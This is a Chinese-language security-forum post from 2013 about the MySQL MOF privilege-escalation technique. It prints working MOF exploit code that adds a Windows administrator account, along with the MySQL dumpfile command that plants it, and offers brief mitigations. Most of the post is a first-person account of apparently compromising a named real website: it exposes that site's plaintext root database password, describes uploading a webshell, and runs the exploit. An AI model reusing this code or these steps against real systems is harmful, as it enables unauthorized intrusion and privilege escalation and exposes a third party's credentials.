找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2428|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法; e3 M3 z1 n% Q3 b* r$ R

  U3 @% s" t& t7 u* p5 S网上公开的一些利用代码:
& j1 o( e$ n- D$ `* Z8 ^1 ?) P1 n! F9 f2 n# s5 S, G
#pragma namespace(“\\\\.\\root\\subscription”)0 u4 F3 L; P1 q# n/ m* y
  r9 x7 |3 B) N3 `! u
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };6 y) T+ q3 Y' |# Z

3 o$ w8 }# l+ z4 W5 C
0 B0 u5 w8 a! N- I$ b  @5 @+ M  {6 ^0 R: c# \, T+ q
) @; P6 [+ @+ R& C* Y9 l1 t

5 n7 ^. q9 I% t1 |连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 j# D: l. f, d+ n
从上面代码来看得出解决办法:+ u3 z4 ?2 b5 k
, t* w* P9 K! }3 V) y% `( S  \
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数% j3 a  A( ]9 J# @
: v& q8 R' B2 ~) ^7 ~& K
2、禁止使用”WScript.Shel”组件- X# |7 a1 w% M" c

! H6 o6 B9 g% {3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
8 P) a' m8 u" [2 K( d- R: N% J, M) ]4 W2 A- R; D, i; z
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下6 T, d3 y  P6 E" h2 \! g  g

' J& N8 g$ }* \7 a事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权" D. Y" `/ D! _* o2 R' r' E% O& ?6 _

$ T2 b- g# z" `/ n* F6 L但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
1 P8 y! \- Y4 t! v
) K; X; n# X* d# |' |$ i2 ^看懂了后就开始练手吧
/ L' P) C0 N3 S  ]- D6 e! j% {) z- Y1 i
http://www.webbmw.com/config/config_ucenter.php 一句话 a
2 b  R0 K9 ]" }8 R7 G! j: W( s  y, S* w/ T( `+ w
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。9 d0 w- y. b$ I( V
4 X9 n: Z; Y2 j, H3 g6 d
于是直接用菜刀开搞
3 _0 r% |* C- t6 L; \6 ]5 Z' C9 l  J+ C
上马先
! W( }) u: ?) @+ W4 L- a1 A
( n1 c- Q6 K4 s( e) h既然有了那些账号 之类的 于是我们就执行吧…….
& B3 p0 T2 T  w
* e& c2 U8 d1 T0 O小小的说下  d" `* E+ _5 m% b. u- {# h

2 r9 q- {* }& N( `; {  F在这里第1次执行未成功        原因未知9 H* H4 x2 R' A" n" D
. C8 I! }( M& H' z) `$ ?" @! A
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
7 B0 L# O' S1 p5 T5 V# E& q) ~; S4 @# H0 m% L3 ]# z4 c# ~
#pragma namespace(“\\\\.\\root\\subscription”)
, K& L5 K' B9 O7 S8 Y' t$ b9 O0 x- h. w8 U+ Y
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };& B, f: G3 K! c% ^1 o6 j, t

8 U# J  F$ A* \/ o; J6 {$ A2 U我是将文件放到C:\WINDOWS\temp\1.mof
9 Q3 \: ~$ _1 h: C+ l- _2 c$ J
9 m5 ]; N5 o1 S/ G5 A2 z所以我们就改下执行的代码
6 q5 `9 d9 L7 F! \9 I  C. Q! m1 j( P( Y8 ^, d1 C$ o0 ]
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;  i3 L# {5 t0 [
/ {* p- _+ N. b' t

4 M8 m4 O  b, s: T0 q. e$ N9 k% I+ u% T$ d" d6 k
但是 你会发现账号还是没有躺在那里。。$ F" W4 U0 E& @, `( }& s
- @) ~$ ?, M- F  g) r5 _; B
于是我就感觉蛋疼
! E: [, Q: e. D' t" ^
+ J- z' A- r* x: V* ^7 ?+ F就去一个一个去执行 但是执行到第2个 mysql时就成功了………
8 }( \1 V, e) M. t% j
. V- j5 C' L1 P' W! w/ M* Z3 Y/ U. K1 o% I3 x
* k) A3 e3 a# `
但是其他库均不成功…
7 {- v& Z! x$ V1 u5 }1 c% W# U: P% ~
我就很费解呀 到底为什么不成功求大牛解答…
. C! K; g- A1 O6 y) R7 v1 s) s- f+ M/ L& \3 B6 ~8 g5 P
​# W. l- Z9 M: R$ i

2 W9 O' Z1 |7 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表